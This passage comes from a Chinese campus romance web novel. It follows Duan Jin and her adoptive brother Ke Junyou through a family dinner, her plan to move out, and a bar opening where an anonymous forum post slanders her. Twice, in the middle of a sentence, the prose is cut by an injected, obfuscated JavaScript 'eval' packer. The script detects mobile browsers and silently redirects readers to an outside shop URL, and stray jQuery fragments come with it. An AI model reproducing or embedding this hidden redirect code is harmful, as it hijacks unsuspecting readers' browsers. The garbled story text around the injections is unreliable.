“不过你有把柄在我手上。”说这句话时,他玩味的睨了她一眼。 段槿很显然没听明白,追问:“什么把柄?” 柯钧佑脸上的笑容显得格外浅,就一动不动的盯着她,好半天才岔开话题:“再在这待下去,全校都该知道我俩有——” 他似乎并不打算往下说,同样的,段槿也不想继续听了。她不带一丝犹豫的,猛踩了一脚油门,打方向盘,快速驶离学校。 - 那晚散完烟味回到家后,吃过晚饭,宁倾眠强行将两人留了下来。 不知道是不是因为被柯钧佑抓到了把柄,有些心虚,段槿尽可能的继续扮演乖乖女,也就没有提出,她其实有点想搬出去自己住这事。 此时距离放国庆假还有不到七天的时间,这期间段槿除了忙学习外,还多了一些杂事,都是跟摄影社有关的。 虽然文体部的面试结果还没有出来,但也不算白忙活,摄影社的社长已经把段槿拉进了社团群里,她也正式成为了摄影社的新成员。 日子一天天过,刚开始的几天因为摄影社的事情繁多,段槿也就没在意,临近国庆假期,该处理的事情也都处理完了,她才逐渐意识到,似乎每回自己去教室上课,三位舍友都会露出很奇怪的笑容。 不知道该怎么形容这种笑容,反正挺怪的,但段槿一直以来都不是个会多想的人,她很不喜欢恶意揣测别人的心思,再加上只要跟她们对上视线,仨人都会很热情的打招呼,并且问要不要一块儿坐。 只是教室的座位是三人一排,坐过去也只能跟她们坐前后桌,段槿觉得挺没必要的,就拒绝了。 放假前最后一堂课的下课铃响起时,五人群里刚好有人冒泡。 【7zieo:明晚我的bar开业,各位来捧个场?】 【谈恋爱:哦呦,升级成杜老板了啊,那必须给您个面子啊,要不要我多叫点人。】 【摆烂小澜:你能叫多少人?】 【谈恋爱:随便说个数,我可是圈子里出了名的交际花,还能难倒我?开什么玩笑。】 段槿边单手打字输入内容,一手拎起灰色机车包,跟着人群往教室外走去。也是这会儿,屏幕上方弹出Pidrij发来的消 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17537799|203859||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 息。 【Pidrij:信息楼停车场,过来接我。】 段槿:??? 这是麻烦人该有的口气吗? 段槿忍不了,退出群聊,点进与Pidrij的聊天框,手指重重地敲击出几个字,甩过去。 【ukiava:你是谁?】 毫无杀伤力。 段槿觉得这回复显得有点太弱了,想骂点什么,对面很快弹出两条新消息。 【Pidrij:段叔叔回来了,咱俩得一起回家吃饭。】 【Pidrij:所以,忍着。】 这一刻,段槿想搬出去住的心情达到了顶峰。 所以到底该怎么摆脱柯钧佑,他怎么这么难缠? 不过再怎么讨厌,段槿也只能忍着,开车去信息楼接上柯钧佑一起回了家。 一个半小时后,冰银色迈凯伦停进了段家车库。 将车熄火,段槿边解安全带,不带看人的甩过去一句:“你先上去,爹地肯定有很多话要问你。” 此时柯钧佑已经开车门迈下了车,他没有应这句,下车后一直背对着她,单手拿手机打着字。 段槿瞥过去一眼,发现柯钧佑不知道什么时候,把卫衣帽子戴到了头上,这让她无法看清他的表情,眉心不着痕迹的蹙了下。 像是担心他会就这么走掉,段槿又强调了一句:“我们说好了的,你没忘吧。” 因为这句话,柯钧佑关车门的手顿了一下。 他将手机锁屏塞卫衣口袋里,侧过头,视线透过压在睫毛上的刘海缝隙,停在了她的脸上:“我们又说好什么了?” 是说好在学校装不认识,还是说好不可以把和异性接触的事情捅.出去,又或者是说好不能让第三个人知道她抽了烟。 还有吗,发誓要绝交最后却没绝成算吗,她好像干点什么事都挺喜欢反悔的,并且她总是能脸不红心不跳的耍赖皮,是因为反正有人给她兜底,所以她可以为所欲为吗。 那的确如此,但某些事情也除外。 很显然,段槿被问住了。 仔细想想,好像很多次都是,她直白的提出要求,柯钧佑默不作声地走开。 是啊,他从来没有应过任何一句,但因为那么多次他真的都帮忙隐瞒了,所以默认这是两人达成协议的一种形式。 可为什么呢,他如果在一开始就不乐意合作,俩人也不可能有那么多次的:我们说好了。 此时此刻,段槿觉得,柯钧佑已经不在自己所控制的范围内了,他可能随时把曾经答应自己的事情捅.出去,毕竟他是绝对的受益方。 段槿再次感到手足无措,柯钧佑身上散发出的低气压正笼罩着自己,她看到他唇角勾起了一抹讥诮的笑,神色看着越发薄凉。 不知过了多久,催促电话打到了某人的手机上。 段槿没有闲心去注意那么多,也不清楚到底是谁的手机铃声正持续响动,很刺耳,但又好像愈发模糊了,快听不清了。 段槿想,他们必须继续达成合作,不管采用什么手段,她需要将合作协议摆到两人面前,毕竟她在柯钧佑面前太过放肆了,没有任何隐瞒的,全盘托出,这样对自己很不利。 可都不等她做出什么举动,柯钧佑侧过身,整个人面向车内,垂眸,整张脸上满是阴郁:“段槿,你欠我多少次了,你想过怎么还吗?” 似乎料到段槿没法这么快的给出答案,柯钧佑只是冷冷盯着她,试图继续压制住内心的情绪。 未几,他眉眼间透出了几分危险:“我是不是没告诉过你,我这人挺难打发的。” 13. 叛逆期 不说段槿也能猜到,以柯钧佑的性格,有什么事是他干不出来的,只是她没想过,有一天他真的会来找人算账。 段槿突然就想起了两人第一次见面的场景。 那双冷得彻骨,又十分可怖的眼睛,还有那句不算太友善的‘你好’。 这样的人,又怎么会什么脾气都没有。 直到来电铃声响了快半分钟,柯钧佑才不紧不慢地伸手从卫衣口袋里摸出手机。 他没有看来电人备注,接通后将手机贴到耳侧。 段槿听不清电话那头的声音,男的女的都不清楚,她只是和柯钧佑对视着,他似乎不打算挪开视线,并且这样的对视像是某种催促,让她快点想到整件事的解决办法。 可段槿始终毫无头绪,听到柯钧佑对电话那头的人说:好的,马上上来。 在电话挂断前,段槿快速抄起包包,开车门下车,然后朝着电梯口走去,就连另一侧的车门没关上她都懒得管了,先逃再说,她赌柯钧佑不可能在等下的家庭聚餐上把那么多件事抖出来。 乘坐电梯上到一楼,段槿刚拐出电梯间,就看到远处的客厅沙发上,坐着宁倾眠和难得一见的段融桦。 段融桦看着依旧年轻,脸上几乎没有产生什么岁月的痕迹,只是肤色看着要比先前深了一些,类似于小麦色。兴许是长年往返热带地区的缘故,不过这对他来说并没有什么影响,他立体深邃的五官足够撑起一切。 段槿没有直接过去,从远处看着段融桦和宁倾眠靠坐在一起。 段融桦应该是刚回家不久,身上的定制西装还未脱去,只把衬衫顶端的几粒扣子解掉了,而那条深蓝色的领带,被宁倾眠当发圈,绑在了头发上。 这会儿,段融桦翘着条腿,正讲着电话,他另一只空出来的手,手臂环着宁倾眠的肩膀,指腹轻轻揉蹭着她的耳垂。 宁倾眠嫌痒,躲了一下,没躲掉,又被段融桦搂回了怀中。 见此情景,两人旁边站着的女佣,小心翼翼地偷瞄了他们一眼,又很快垂下眼继续认真剥葡萄皮。 没一会儿,她将一小碟剥好皮的葡萄端到宁倾眠面前的茶几上,并微微鞠躬:“夫人,葡萄剥好了,您慢用。” 宁倾眠浅勾起唇,嗯了声,又吩咐一句:“再过十分钟开餐,你盯紧后厨,别出岔子。” 女佣恭恭敬敬道:“好的夫人,您放心。” 待女佣离开客厅,宁倾眠用叉子叉起一颗晶莹剔透的葡萄往身旁,段融桦嘴边递。 段融桦原本讲电话讲到有些来火,看到宁倾眠递来的葡萄,他的脸上立马绽放出一抹温柔的笑,张嘴吃掉葡萄后,轻声说了句:“谢谢老婆。” 话音落,电话那头的人不知道又说了句什么,惹得段融桦好生来气,直言:“琼州那边投资的项目现在什么情况?你一天天正事不干,也好意思让我把项目交给你负责?” 也是这时,身后的电梯间里,段槿依稀听到电梯运行的声响,她原本没打算过去打扰父母恩爱,但耐不住柯钧佑马上就要上来了,她暂时还不想和他走在一块儿。 于是想都不带想的,就抬腿踱了过去。 恰好段融桦在这时气愤地挂断了电话,段槿及时出现,乖巧的叫道:“爹地,妈咪。” 闻声,宁倾眠和段融桦同时抬起头,在看到段槿的下一秒,原本在气头上的段融桦瞬间展露出笑容,一旁的宁倾眠亦是如此,看女儿的眼睛里都闪着光,爱意快溢出来。 太久未见,段融桦很是想念段槿,眼神没从她身上挪开过,仔仔细细的瞧:“囡囡,你是不是瘦了,看着也疲惫了不少,大学生活还算顺利吗?” 说到这事,宁倾眠就有话要说了,忍不住抱怨道:“当初都说好了,大学让囡囡和小佑去国外念,在那边有嫣茹照顾,你死活不答应,现在好了,女儿瘦了不说,压力大得都睡不好觉,你不心疼的啊。” 听了这话,段融桦很是痛心,只是要把段槿送出国念书,他又有点舍不得。 正苦恼着,柯钧佑步伐轻缓地走了过来:“段叔叔,宁阿姨。” 柯钧佑低沉的声音在头顶后方响起时,段槿下意识就想到了自己跟自己打的赌。 察觉到宁倾眠和段融桦的视线已经从自己身上挪开,她往旁边挪了几步,往沙发上一坐。 段融桦轻点了下头:“小佑,我听说你进了学校的国旗护卫队,非常优秀啊。” 不等柯钧佑回应些什么,段融桦抬手看了眼腕表时间,然后对身旁的宁倾眠以及段槿说:“你们先去餐厅,我跟小佑聊几句。” 意料之中,好像段融桦每回回家都要拉着柯钧佑聊上很久,虽然段融桦比宁倾眠要开明很多,不管是要买跑车,还是想玩极限运动,他基本上都不会阻拦,但某些时候,他也会有些古板。 待母女二人离开客厅。 段融桦让柯钧佑在旁边的沙发上坐下。 然后才问:“我刚刚听你宁阿姨说,小槿最近的压力很大,有点适应不来,她在学校有没有被什么人欺负啊。” 说着,他像是想到了什么,沉沉叹了口气:“你知道的,之前那件事让我们多多少少都产生了些心理阴影,小槿看着什么事没有,其实心里肯定是不好受的。” “如果类似事情没有再发生还好,过阵子她能忘,但如果再出现这种恶劣的事情……”提到过去,段融桦顿了几秒,像是不愿再过多回忆:“你平常没课就多陪着她,她最离不开你了。” 柯钧佑听着段融桦的这番话,眼睫轻微颤动了一下,似是回想起了什么,随后才道:“您放心,不会让她受委屈的。” …… 等了快十分钟,见俩人迟迟不过来,段槿莫名产生了一种心虚的感觉。 注意到宁倾眠去了厨房,她不带犹豫的,决定去客厅找人。 刚迈了没几步,正正好撞见柯钧佑和段融桦朝着餐厅的方向走来。 段槿先是看了柯钧佑一眼,然后上前轻挽住段融桦的手臂,问:“爹地,你们刚刚都聊什么了。” 段融桦知道段槿脸皮薄,又或者说,她自己都没意识到某些事情,所以他干脆就不说了,只道:“简单了解了一下这段时间你们在学校发生的事情。” 说完这句,他紧接着补充:“课业固然重要,但也不要忘记给自己一些放松的机会,没事的时候多出去社交社交,课余时间可以参加一下集体活动。” 边说着,几人来到了餐厅。 “不过我跟你妈咪一样,还是不希望你过早接触异性,很多男孩心思不纯,你没跟这种人交往过,被骗了都不知道。” 段槿现在满脑子都是:赌对了赌对了赌对了。 在餐桌前坐下的同时,她乖巧道:“爹地你放心,我没那么容易被骗。” “我……眼光挺高的。” 段融桦原本都拉开了主位的椅子,见宁倾眠还没来,他边说:“我放心,有你哥哥在,我最放心了。” 人已经踱步去到了厨房。 很快,厨房里传出宁倾眠的声音:“你把烤箱里的黄油焗龙虾端出来,这道菜是我特意做的。” 段融桦说好,又笑道:“之前嚯嚯甜品,现在改嚯嚯其他种类的食物了?” 宁倾眠瞪了他一眼,把隔热手套丢给他:“你说什么呢,我之前做的甜品你不是挺喜欢吃的吗。” 段融桦:“是是是,爱吃,特别爱吃。” …… 此时坐在餐桌前的段槿,默默掏出手机,更新了一条动态: [被迫吃下一口狗粮(嚼嚼嚼)……] 要是坐在这里的是别人,或许很难想象,毕竟宁倾眠在工作中是绝对的女强人。 在外基本上看不到她露出一丝笑容,但是回到家,面对家人,她总是温柔的,可爱的。 旁人或许不知道,也一定不知道,宁倾眠只要跟段融桦在一起,就会忍不住撒娇。 段槿从小看到大,有时候她也会被震惊到问一旁的柯钧佑:什么茶最解腻。 然后柯钧佑沏好茶,端她手边,她面无表情地抿上一口,最后说:你是不是想报复我。 柯钧佑不以为然,端起那杯被嫌弃的茶,一口饮尽,再在心里默默想:嗯,苦成这样,的确挺像是在报复。 - 未几,宁倾眠和段融桦终于在餐桌前坐了下来。 佣人们上完菜。 用餐时,段融桦突然想到了什么,开口问:“囡囡,小佑,我这好不容易回来一趟,你们有什么想要的,尽管提。” 话音落,段槿夹菜的手顿了一瞬,随后不动声色地抬眼,偷偷观察餐桌斜对面的柯钧佑。 段融桦见俩孩子都不吭声,笑着:“不用觉得不好意思,爹地有的是钱,实在不知道想要什么,是买辆车还是买套房?” 段槿承认,她的确很喜欢跑车,但此时此刻,房子很明显更具有吸引力。 她那点小心思正在逐渐膨胀,快溢出来。 段融桦说完那话后,先看向了柯钧佑:“小佑,刚好你考摩托车驾驶证也快一年了,下个月就可以考汽车驾驶证了,叔叔送辆车给你当生日礼物怎么样?喜欢什么车,不用管价格,挑好了告诉我就行。” 段融桦对俩孩子向来大方,主要是他经常不在家,总觉得亏欠孩子,又不知道该怎么弥补,刚好他最不缺的就是钱,只要俩孩子喜欢,他都会尽可能的去满足。 这么说起来,柯钧佑在段家也生活了十一年,段融桦和宁倾眠一直以来都把他当自家孩子养,所以他们很清楚,也了解柯钧佑是个什么性格的人,他想要什么东西从来不会主动提,只会去找他自己的父母,每回碰到想要什么的话题,他基本上不会参与,只安安静静的坐在一旁。 就是因为清楚,所以俩大人有时候会向段槿打听,看看柯钧佑有什么喜欢的,或是对什么事情感兴趣,再然后直接捧到面前给他,而不是问他‘你要想什么’。 这次 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17537800|203859||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 也一样,听到段融桦的这番话,柯钧佑没有推辞:“谢谢叔叔。” 段融桦依旧笑着:“客气什么,都是自家孩子。” 待段融桦话音落,都来不及接着询问段槿想要的,她就已经开口道:“爹地妈咪,我想搬出去自己住。”像是担心被他们拒绝,她接着说:“虽然有车,但每天上下学来回跑,还是挺累人的。” 闻言,宁倾眠和段融桦没有说话,只对视了一眼。 见此情景,段槿的心都提到了嗓子眼。 很显然在这个问题上,段融桦没法做主,对视持续了不知道多少秒后,他垂下了眼,夹菜继续吃饭。 宁倾眠也在这时,侧头看向了身旁的段槿:“可以是可以,但是你一个人我们不放心,得让你哥哥陪着你。” 段槿明显不乐意,好半天:“……能就我一个人吗?” 宁倾眠拧眉,觉得段槿有些得寸进尺:“你一个女孩子在外面独居,那肯定是不行的啊,就算小区安保再怎么好,也不安全,上下学路上遇到坏人了怎么办?” 像是有些生气,宁倾眠的语气都升高了几个度:“你现在是长大了,想要个人空间了,但是你也要为我们考虑一下,我们会担心你的啊。” 段融桦察觉到宁倾眠的情绪,抬手轻轻抚摸她的后背,安抚她。 缓了几秒后,宁倾眠接着说:“要哥哥陪着你,你俩互相有个照应,如果不愿意,那还是在家里住着。” 段槿没及时应声,再次偷偷瞄了柯钧佑一眼,全程,他都像是个局外人,认真吃着饭,没有插话,就听着,像是无所谓,全凭大人安排就行。 呵呵,他当然怎样都行啊,要是他也被人天天盯着,干点什么事都要粘一块儿的话,他还会做到像现在这样,完全无所谓吗。 僵持了许久,段槿一声不吭地戳着碗里的米饭,十分艰难,且不情愿的嗯了一声。 听到这一声,段融桦才开口说话:“囡囡,你喜欢哪里的房子,趁着国庆我在家,给你们安排好。” 段槿老早前就开始找合适的房子,所以在听到有希望后,她直接就报了一个小区名。 段融桦对申城的楼盘都很了解,毕竟是做投资的,早先年投资过不少地产相关项目,只是近几年经济不景气,他在地产方面的投资就减少了一些。 思考了一阵,他道:“那个小区的房子面积都不算太大,够住吗?买套别墅怎么样?你们学校附近有个别墅区,环境不错。” 段槿很直接,不带一丝犹豫:“就我俩,够住的。” 说这话时,段槿的心里始终想的是独居,她不可能一直跟柯钧佑住的,那300平的大平层她一个人住绰绰有余了。 但说出来的话却异常好听,段融桦和宁倾眠并没有多想,便应了下来。 还算顺利的搞定了宁倾眠和段融桦,段槿莫名有种即将解脱的自由感。 一家人愉快的吃完晚饭,段槿回了自己的卧室。 想到马上就可以开启独居生活,段槿着实有些膨胀。 她点开听歌软件,连接卧室的蓝牙音响,播放了一首英文歌,是Darren Hayes的《Creepin'' up on You》。 边听,她陷在懒人沙发上,翘着条腿,在小红薯搜索耳洞的最强搭配。 找到一组图片后,她保存下来私发给了秦澜。 【ukiava:你说我一口气打七个耳洞,会怎么样?】 那边很快回复过来一句。 【摆烂小澜:公主,你叛逆期到了?】 这条消息下面,紧接着又弹出一条。 【摆烂小澜:还是你失恋了?】 段槿一本正经敲字。 【ukiava:很遗憾,目前还没恋上。】 像是被什么问题给难住了,对面持续输入了快一分钟,消息才弹出来。 【摆烂小澜:其实我觉得哈,你接下来的这半年多时间,应该也恋不上。】 盯着屏幕上的这句话,段槿的眸中闪过一丝疑惑,眼底带着明显的困惑。 正准备认真询问,摆烂小澜发来一条语音。 段槿点开语音条,没听着秦澜的声音,倒是谈修焱的声音从那头传了过来:“公主,你信我,你和你哥一天是兄妹关系,那些个乱七八糟的男的就别想跟你处上对象。” 这句话刚说完,谈俢焱忘了挪开按在语音键上的手指。 紧接着,段槿就听到一声很响亮的,手掌拍打后背的声响,然后秦澜的声音就传了过来:“你别说这么明显好伐啦。” 什么明显?兄妹关系太明显了?可学校有谁知道她和柯钧佑是兄妹啊。 所以是因为他克她?也难怪遇到的都是烂桃花。 这么觉着,段槿决定再想想别的办法,毕竟她是真的很想谈恋爱,所以谈恋爱到底是什么感觉,亲嘴又是什么感觉。 柯钧佑会知道吗,好吧,忘了他也是单身。 14. 造谣 翌日,国庆假期第一天,杜覃泽的bar正式开业。 谈俢焱不负众望,叫了百来号人去捧场。店门口好几条街被堵得水泄不通,停车坪里也全都停满了豪车,不少路过的人举着手机在那一个劲的拍照。 有不了解情况的人边张望着,问身旁的人:“诶,这里今天是在干什么啊,怎么全是豪车,这场面有点太夸张了吧。” 旁边的人附和:“虽然申城满大街都是豪车,但是据我所知,今晚这里停的很多车都是限量版。” 人群里的某知情人士透露:“上流圈贵公子的bar开业了,他们圈子里的少爷小姐过来捧场呢,我听说今晚除VIP客人,其他一律不让进。” …… 与此同时的另一边,冰银色迈凯伦驶入Mist内部车库。 此时的车库里已经停了几辆车,分别是秦澜的保时捷、谈俢焱的阿斯顿马丁,以及杜家的迈巴赫。 段槿将车熄火,和柯钧佑分别从左右两侧迈下了车,朝着电梯口走去。 很快,电梯停在了二楼。 这层是他们五个人的专属休闲区,视野极佳,可以俯视整个bar,距离舞池以及舞台的距离又恰到好处,既可以疯玩,想要私人空间谈事时,只需要按桌角的按键,隔音玻璃就会自动降落下来,而这面隔音玻璃采用的还是单向材质,隐私度极佳。 在设计之初,杜覃泽就问过几人的意见,除柯钧佑外,没有人给到他任何的灵感,只敷衍的说:你看着办就行,我们相信你。 虽然的确如此,不管是高尔夫球馆,还是现在的bar,杜覃泽在室内设计这一块儿很有天赋。不过因为家族情况特殊,他没有走艺术这条路,念的是金融。 待电梯门向两侧缓缓打开,扑面而来的是浓郁的香水味,混杂着酒精的味道,还有少许烟草味。段槿下意识拧了下眉,这还没喝上酒呢,就莫名产生了微醺感。 兴许是室内的灯光效果导致的,眼前的一切都变得模糊不清,像是被灌入了某种迷-魂汤药。 此时整个Mist内灯光摇曳,音乐声弥漫,放眼望去,楼下的卡座里坐满了人,甚至连过道上都挤着穿着清凉的男男女女。 另一边的吧台前,昏暗的灯光下,调酒师轻轻摇摆着身体,将调制好的酒倒入杯中,推到客人面前。 几支酒杯碰撞,发出清脆的声响。 过来捧场的少爷小姐们很明显已经玩嗨了,跟随着带感的音乐节奏,在舞池里尽情地摆动着身体。 人潮中,不知道是哪一块儿区域,响起了接二连三的口哨声和尖叫声,紧接着就看到游戏失败的俩人跑隔壁卡座去找人拼酒了。 秦澜原本在跟谈俢焱聊八卦,余光瞟到有人朝这边来了,还以为是哪对情侣。 等俩人走到跟前了,秦澜刚抬起头,下一秒,她就呆呆地张开嘴,快速指了指面前的俩人:“你俩怎么穿——”斟酌了一番,她才说:“同款啊哈哈。” 谈俢焱往沙发后一靠,紧接着开口:“你俩刚健完身?穿的不像是来喝酒的,倒像是学校文体部来组织比赛项目的。” 段槿不知道他们为什么会这样认为,愣了片刻后看了眼旁边的柯钧佑,又低头看了眼自己身上的衣服。 真巧啊,都是adidas的,先前都还没注意到。 至于为什么没注意,是因为在开车过来的路上,每回等红绿灯时,段槿都在思考同一个问题:到底该怎么谈上恋爱。 或许,真的应该找个什么占卜师算算桃花?身边太多烂桃花是不是可以考虑买点水晶手串戴戴? 反正乱七八糟的想了一路,压根儿没把副驾那位放眼里。 这会儿她才有闲心,仔细打量了柯钧佑一番。 他穿着adidas的白色短袖,搭配迷彩工装裤。身上没有佩戴任何饰品,就连帽子都没有戴一顶,柔软的刘海就这样搭在额前,垂在眼睫上,让人看不清他的眼睛。 段槿看回自己,上身穿的adidas经典的三条纹黑色外套,是特意找代购买的韩版。往下,白色蕾丝蛋糕短裙,搭配miu系芭蕾风堆堆中筒袜,脚上穿着一双adidas黑贝克鞋。 所以怎么就是同款了,顶多算是穿了同个牌子的衣服,要这么说,那他们衣帽间的重合度简直高的一种境界。 原因很简单,adidas这牌子的logo简单,衣服款式潮流,很适合穿去健身,日常出门随手拿一件往身上套,特百搭。 这么说起来,段槿也有一阵子没去健身房了,最近住校,加上乱七八糟的事情太多,没有精力泡健身房。按道理来说,她和柯钧佑一个礼拜起码有五天会在家里的健身房碰上面,但这阵子俩人都没去,也没人提这事。 很快,秦澜拉着段槿在卡座沙发上坐了下来。 柯钧佑则自个去到了玻璃护栏前,微微侧着身子,手肘随意靠放在上边。他姿态闲散,垂眸扫视整个一层。 另一边,杜覃泽刚从楼下上来,身上沾了不少烟酒味。见人都到齐了,他跟角落的服务生说了句什么,再走过来坐到了谈俢焱身旁的位置上。 这会儿,段槿已经凑到秦澜耳边,跟她分享:“我昨晚跟我爹地妈咪提了搬出去住的事,他俩同意了,我估计国庆假期结束前应该能搬完家。” 说完这句,她顿了一秒,脸色再冷一个度,十分不满,也没想藏着掖着,直说:“但是要带上柯钧佑。” 这话某人听没听着不知道,反正卡座里几人可是听得一清二楚。 俩男的同一时间看向站在不远处玻璃护栏前的柯钧佑,而秦澜的反应绝对是最大的。 她兴奋到想跳起来:“所以你俩要开始同居生活啦!” 段槿的表情有些许僵硬,好半天:“……也可以这样理解。” 秦澜眨巴眨巴她水汪汪的大眼睛,强迫自己憋住笑,但好难哦,这怎么憋得住啊,她都想下去抢过DJ的麦克风,大喊一声百年好合了。 只是没辙啊,她得忍住,但肩膀还是因为兴奋过度不自觉地抖动了起来。 正好这时,有服务生端过来一个很大型的水烟壶,这位服务生后边还跟着几位,分别端着酒水饮料,以及果盘热卤。 待几人将东西摆上茶几,离开后,谈俢焱拿起放在一旁的烟嘴,将其与软管连接,持握着吸了一口,再缓缓吐出烟雾。 秦澜瞧见这一幕,注意力很快转移,好奇的问道:“这个好酷啊,什么味道的。” 谈俢焱拿起一旁的新烟嘴,往她面前递:“要尝尝吗?不过这玩意可能有点上瘾,我劝你还是别尝试。”说着,他又把那枚新烟嘴放下推到了远处,秦澜拿不到的地方。 卡座里另一侧的杜覃泽,轻抬眸扫了俩人一眼后,说:“我可以让人调,你想要什么口味。” 如果秦澜想尝试,谈俢焱倒也不会刻意阻拦,就接着道:“我这壶是茉莉、酸菠萝和pink man。” 秦澜不太了解这玩意,思考了一阵决定要他俩做个推荐。 俩男的边介绍着,柯钧佑踱回了卡座,顺手拿走了杜覃泽放在茶几边缘的一盒万宝路,在人对面的沙发上坐下。 他翘起一条腿,从烟盒里抖出一支烟咬在嘴边,又从口袋里拿出一盒克罗心的火柴,从中取出一根,贴着磷纸擦出火花,点燃了咬在嘴边的那支烟。 他吸了口,缓缓吐出烟雾的同时,甩灭火柴。 而段槿正有一搭没一搭的听着旁边几人的对话,话题围绕着水烟,她不太感兴趣,注意力一直放在楼下的舞台上。 上面站了俩DJ,都还挺帅的,其中有个帅哥还时不时把衣摆撩起来,露出漂亮的腹肌,再跟着音乐节奏扭两下腰。 惹得舞池里的男男女女疯狂尖叫欢呼。 段槿就这样面无表情地盯了许久,丝毫没有觉察到,她与柯钧佑的距离在顷刻间被拉进。 熟悉的气息压过来,柯钧佑低沉的,附有磁性的声音在耳畔响起:“你不想试试吗?水烟大多都是水果味的,你应该会喜欢。” 段槿很显然被吓了一跳,她面上没什么过多的情绪,但身体却在被他身上那股撩人的,芭乐沐浴露的香味,以及薄荷烟草香所包围时,很轻微地抖动了一下。 好几秒她才回过神,却又有些不明所以,转眸看过去:“我为什么会喜欢?” 此时另一边的俩男的还在认真的向秦澜讲解水烟各个口味的食用感受,完全没有注意到旁边俩人正在秘密交谈着什么。 而在这句反问过后,柯钧佑翘起的腿有一搭没一搭地晃了起来,整个人显得极为松散,好似再次抓住了某些把柄:“你上回抽的不是水果味的吗?” 段槿可完全没有往把柄这方面想,只是更懵了:“你不尝,能直接闻出来?” 闻言,柯钧佑下意识轻挑了下眉尾,视线已经稳稳落到了那浅粉色的嘴唇上。 看了两秒,他说话挺不着调:“你让我尝了?”说着这话,他将烟掐了。 “你想尝?”问完,段槿就拿起身后的包包开始翻找,特大方的想找出来让他尝尝,看他会不会也觉得呛得厉害。 正埋头一顿找,柯钧佑嘴角勾起的那一丁点笑意,像是被突然按下了暂停键。 他语气冰冷僵硬:“我不喜欢水果味的烟。” 话题戛然而止,段槿实在被弄懵了,明明没喝酒,但被浸泡在浓郁酒精味的空气中,都产生了无法疗愈的眩晕感,导致她连包包都来不及从腿上拿开,就已经被秦澜拉着说起了别的。 至于柯钧佑,在说完那句话后他的目光就已经从段槿的嘴唇上移走了。 他沉着张脸,看向不远处的舞台,此时舞台上那个寸头男又开始撩衣摆露腹肌了。 他默不作声地拿起丢在一旁沙发上的手机,解锁后给7zieo发去消息。 【Pidrij:台上俩DJ你从哪找来的?】 消息发送过去,杜覃泽放在口袋里的手机震动了两下。 他原本没打算看消息,但在察觉到有一双眼睛,正在黑暗处死死盯着自己后,他将手机掏了出来。 看到这条消息的下一秒,他很轻的笑了声,单手敲字。 【7zieo:抱歉啊,以为你不会介意呢。】 发完这条有点欠的消息,杜覃泽抬眸就看到柯钧佑已经把手机丢到了一旁。 冷冽的气息从他身上散发出来,他薄唇微抿,脸上看着没半点血色。 杜覃泽太了解柯钧佑,没吩咐人过去提醒,已经起身,单手抄着兜,不紧不慢地下了楼。 再回来时,台上那位总是撩衣摆露腹肌的DJ被换了下去,换上来的是一位穿着得体的女DJ。一上台,气氛就被她调动了起来。 同一时间,杜覃泽边百无聊赖地刷着校论坛,从电梯里走出来时,他看到了高挂在论坛热榜上的一条匿名帖。 点进帖子往下翻,没看几页他的脸色便沉了下来。 他快几步踱到卡座,将手机放到了几人面前的茶几上:“校论坛上有人发匿名帖造公主的谣。” 就这么一句话,让原本还在畅聊八卦的秦澜和谈修焱同时瞪大了双眼,嘴巴张成o型啊了一大声,然后没有丝毫犹豫地去抢茶几上的手机。 嘴里骂着。 谈修焱:“艹,什么鬼??” 秦澜:“妈的,都说什么了?我要准备开喷了。” 段槿就坐在秦澜边上,很轻易地就瞥见了匿名帖里的内容,又顺便捕捉到了几个关键词:孤立、大小姐脾气、扣帽子、搞小团体、心机重、不正当关系。 那些不太愉快的记忆就这样被一点点地拾了起来,哪怕段槿已经别开视线不再看匿名帖上的内容,但胸口传来的刺痛感,还是让她有些喘不上来气,一阵阵的疼痛在身体各个部位蔓延开来。 甚至在这个瞬间,胃部的不适感就这样猝不及防的到来了,如同针扎般,细细密密的疼,叫人直不起腰。 其实如果没有这条匿名帖,段槿一辈子都不会再回忆起那段令人厌恶的往事,一直以来她都是足够强大的存在,也因为大脑出于保护机制,会让她把所有的不愉快都自动清除掉。 可是现在,在被那些恶毒的言语攻击后,她做不到当做什么都没发生。 整个卡座在这一瞬间陷入了寂静,不知过了多久,秦澜将手机塞进旁边谈俢焱的怀里,气到面部扭曲,脸颊和脖子都涨得通红。 她骂道:“我去他玛的,真服了,都什么乱七八糟的,我现在就要举报这条帖子!” 谈俢焱也是气得有些上头,抬手,掌心重重拍在茶几上,震得桌上几杯酒的酒液都从杯沿处晃了出来:“等查出来是谁乱造谣,我管他吗的挨不挨处分,先带着我那一帮子兄弟去把人收拾一顿。” 说完这句,他看向一直处在黑暗处的柯钧佑:“佑哥,你能查出来发帖的人是谁吗?” 柯钧佑全程没有说话,被叫了名字也依旧如此,甚至连眼皮都没掀起,低着头注视着手机屏幕,手指不断地在上面敲击着。 同一时间,匿名帖的当事人正在强行压制胃部,以及心脏处带来的不适感。 她平静,且面无表情地开口:“你们别急,我能处理。” 但真的能处理好吗,段槿也不清楚,她似乎早就意识到了,自己在这方面的确不算擅长,又或者说,她习惯了躲在四个好朋友的身后,曾经是,现在似乎也是。 只是现在和之前又有所不同了,她已经是一个成年人了,她需要拥有独立面对一切流言蜚语的能力。 可光想到那些关键词,她的神色就越发紧绷,心情差劲到,手不自觉地就伸向了茶几,拿起了放在面前的一杯酒,然后不管不顾的一口闷了。 旁边几人见此情景,也没好意思 